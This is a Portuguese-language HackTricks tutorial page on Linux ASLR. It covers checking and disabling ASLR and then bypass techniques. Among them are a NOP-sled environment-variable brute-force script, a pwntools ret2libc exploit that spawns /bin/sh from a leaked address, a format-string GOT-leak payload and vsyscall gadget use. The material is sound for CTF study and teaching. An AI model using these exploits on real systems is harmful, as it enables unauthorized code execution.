hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

# ASLR

<details>

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## Informações Básicas

**Randomização do Layout do Espaço de Endereços (ASLR)** é uma técnica de segurança usada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer.

### **Verificando o Status do ASLR**

Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR aplicado:

* **0**: Sem randomização. Tudo é estático.
* **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
* **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de `brk()` é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Desativando o ASLR**

Para **desativar** o ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Você também pode desativar o ASLR para uma execução com:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Ativando ASLR**

Para **ativar** o ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistência através de reinicializações**

As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Depois de editar `/etc/sysctl.conf`, aplique as alterações com:
```bash
sudo sysctl -p
```
Isso garantirá que suas configurações de ASLR permaneçam após os reinícios.

## **Bypasses**

### Forçando por tentativa e erro em sistemas de 32 bits

O PaX divide o espaço de endereço do processo em **3 grupos**:

* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais.
* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamado `delta_mmap`.
* **A pilha** —> **24 bits**, referido como `delta_stack`. No entanto, ele efetivamente usa **11 bits** (do 10º ao 20º byte inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 possíveis endereços reais de pilha**.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso.

#### Ideias de força bruta:

* Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar os endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**.
* Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**.
* Se o exploit for local, você pode tentar forçar o endereço base do libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Se estiver atacando um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.

{% hint style="success" %}
Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível.
{% endhint %}

### Forçando a pilha de 64 bits

É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\
O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```

```python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>

### Informação Local (`/proc/[pid]/stat`)

O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como:

- **startcode** e **endcode**: Endereços acima e abaixo com o **TEXTO** do binário
- **startstack**: O endereço do início da **pilha**
- **start\_data** e **end\_data**: Endereços acima e abaixo onde está o **BSS**
- **kstkesp** e **kstkeip**: Endereços atuais de **ESP** e **EIP**
- **arg\_start** e **arg\_end**: Endereços acima e abaixo onde estão os **argumentos da linha de comando**
- **env\_start** e **env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**.

{% hint style="success" %}
Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat`
{% endhint %}

### Tendo um vazamento

- **O desafio é fornecer um vazamento**

Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (verifique essa página para mais detalhes):
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
```
* **ret2plt**

Aproveitando um estouro de buffer, seria possível explorar um **ret2plt** para extrair um endereço de uma função da libc. Verifique:

{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}

* **Leitura Arbitrária de Strings de Formato**

Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível extrair o endereço de uma **função libc** do GOT. O seguinte [**exemplo está aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em:

{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}

### Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da pilha:

{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
{% endcontent-ref %}

### vsyscall

O mecanismo **`vsyscall`** serve para melhorar o desempenho, permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamental do kernel. A principal vantagem das **vsyscalls** está em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração.\
No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`)

(O exemplo e código a seguir são [**deste artigo**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))

Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma `syscall` fornecida pela seção **vsyscall** pode ser bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que direcione a execução para este endereço **vsyscall**, um atacante pode obter a execução de código sem precisar contornar o **ASLR** para esta parte da exploração.
```
ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
### vDSO

Note que pode ser possível **burlar o ASLR abusando do vdso** se o kernel for compilado com CONFIG\_COMPAT\_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}